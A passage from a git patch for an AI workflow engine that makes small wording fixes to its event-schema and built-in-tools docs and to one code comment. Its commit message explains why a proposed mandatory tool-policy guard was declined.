removed for the same reason (comment-only; both typecheck configs + lint stay clean). - sse-event-schema "Selected definitions": the note still called the Zod schema the "source of truth", contradicting the L4 framing that the DOC is authoritative and the schema its runtime-validated implementation. Reworded to "implementation" so the two agree (doc wins on divergence). Skipped (verified not still-valid): - tool-registry "blank line in a blockquote": that region is a continuous JSDoc comment inside a ```ts block (not a blockquote) with no blank line between the sentences. - "make policyTarget mandatory for spawnsProcess/egress:http tools": git_status and git_commit are spawnsProcess:true but deliberately omit policyTarget (subcommand- constrained + config-pinned flags / human-gate-protected). A blanket registration guard would break both, and the registry cannot distinguish a safe omission from an unsafe one without the very policyTarget that's absent — the optional + SECURITY-note contract is the deliberate ADR-0037 design. Refs: ADR-0037 Co-Authored-By: Claude Opus 4.8 --- docs/reference/contracts/sse-event-schema.md | 6 +++--- docs/reference/shared-core/built-in-tools.md | 2 +- packages/core/src/tools/registry.ts | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/reference/contracts/sse-event-schema.md b/docs/reference/contracts/sse-event-schema.md index a194f292..64479608 100644 --- a/docs/reference/contracts/sse-event-schema.md +++ b/docs/reference/contracts/sse-event-schema.md @@ -83,9 +83,9 @@ export type RunEvent = ### Selected definitions -> These TypeScript shapes are **illustrative**. The enforced, runtime-validated source -> of truth is the Zod schema set in `@relavium/shared` (`run-event.ts`), from which the -> TS types are inferred ([ADR-0020](../../decisions/0020-zod-runtime-schema-library.md)). +> These TypeScript shapes are **illustrative**. The enforced, runtime-validated +> implementation is the Zod schema set in `@relavium/shared` (`run-event.ts`), from which +> the TS types are inferred ([ADR-0020](../../decisions/0020-zod-runtime-schema-library.md)). > This document remains the canonical **contract** (the human-readable spec the schema > implements); if the two ever diverge, this spec wins and the schema is corrected to it. diff --git a/docs/reference/shared-core/built-in-tools.md b/docs/reference/shared-core/built-in-tools.md index f7629e49..adddc36d 100644 --- a/docs/reference/shared-core/built-in-tools.md +++ b/docs/reference/shared-core/built-in-tools.md @@ -34,7 +34,7 @@ A tool declaration in YAML has a `type` discriminator: > **Mandatory guardrails (security tightenings — [ADR-0029](../../decisions/0029-tool-policy-hardening.md)):** `run_command` only executes commands that **exactly match** the workflow's `allowedCommands` allowlist (opt-in glob via `allowedCommandGlobs`; defined under `spec.tools.allowedCommands` — see [workflow-yaml-spec.md](../contracts/workflow-yaml-spec.md#tool-policy-spectools); empty or absent ⇒ disabled). `http_request` is **HTTPS-only**, matches `allowedDomains` by **exact FQDN** (empty/absent ⇒ disabled), and **blocks private/loopback/link-local/metadata IP ranges** — the same vetted SSRF primitive applied to provider base URLs and MCP server URLs ([security-review.md](../../standards/security-review.md)). And `git_commit` is gated behind human approval in automated workflows. All are enforced by the engine, not by convention. `run_command` is the **only** sandboxed shell-exec built-in — there is no separate `run_javascript` tool (sandboxed JS evaluation is the engine's job for `condition`/`transform` expressions, not a callable tool). -> **Return shapes.** The *Returns* column is the **logical** shape. Until a provider-specific normalizer lands (the egress tools at 1.AE), `http_request` / `web_search` / `mcp_call` / `git_status` dispatch the **raw host response** (`EgressResponse` / the MCP tool result / the `git` `ProcessResult`); a downstream `transform` node shapes it. The file tools (`read_file` / `write_file` / `list_directory`) and `run_command` already return the documented shape. +> **Return shapes.** The *Returns* column is the **logical** shape. Until a provider-specific normalizer lands, `http_request` / `web_search` / `mcp_call` / `git_status` dispatch the **raw host response** (`EgressResponse` / the MCP tool result / the `git` `ProcessResult`); a downstream `transform` node shapes it. The file tools (`read_file` / `write_file` / `list_directory`) and `run_command` already return the documented shape. ## Tool input/output mapping diff --git a/packages/core/src/tools/registry.ts b/packages/core/src/tools/registry.ts index 692b2368..fd1b1a5c 100644 --- a/packages/core/src/tools/registry.ts +++ b/packages/core/src/tools/registry.ts @@ -292,7 +292,7 @@ function enforcePolicy(def: ToolDef, args: unknown, ctx: ToolDispatchContext): v enforceHttpEgress(def.id, target.url, ctx); } // egress 'search' / 'mcp' reach a CONFIGURED provider/server (not an allowedDomains allowlist); the - // SSRF range-block runs inside the host egress capability (1.AE). No engine allowlist check here. + // SSRF range-block runs inside the host egress capability. No engine allowlist check here. } function commandAllowed(command: string, policy: import('@relavium/shared').ToolPolicy): boolean {